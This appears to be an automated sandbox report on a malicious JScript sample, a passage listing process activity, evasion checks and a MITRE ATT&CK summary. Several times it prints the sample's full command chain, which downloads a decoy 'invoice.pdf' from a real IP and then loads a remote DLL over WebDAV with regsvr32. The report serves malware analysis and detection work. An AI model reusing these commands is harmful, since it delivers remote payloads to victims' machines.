Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3556.js.csv");ITextStream.WriteLine(" entry:7735 f:khorsanqk");ITextStream.WriteLine(" exec:2 f:khorsanqk");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49759

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4805			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5049			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7444	Thread sleep count: 4805 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7444	Thread sleep count: 5049 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7640	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5992	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6840	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1389460410.0000023B22F27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWn
Source: net.exe, 00000007.00000002.1389460410.0000023B22F27000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1389460410.0000023B22EC8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2620756047.000001AA1C654000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.2619817898.000001AA1702B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWple

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
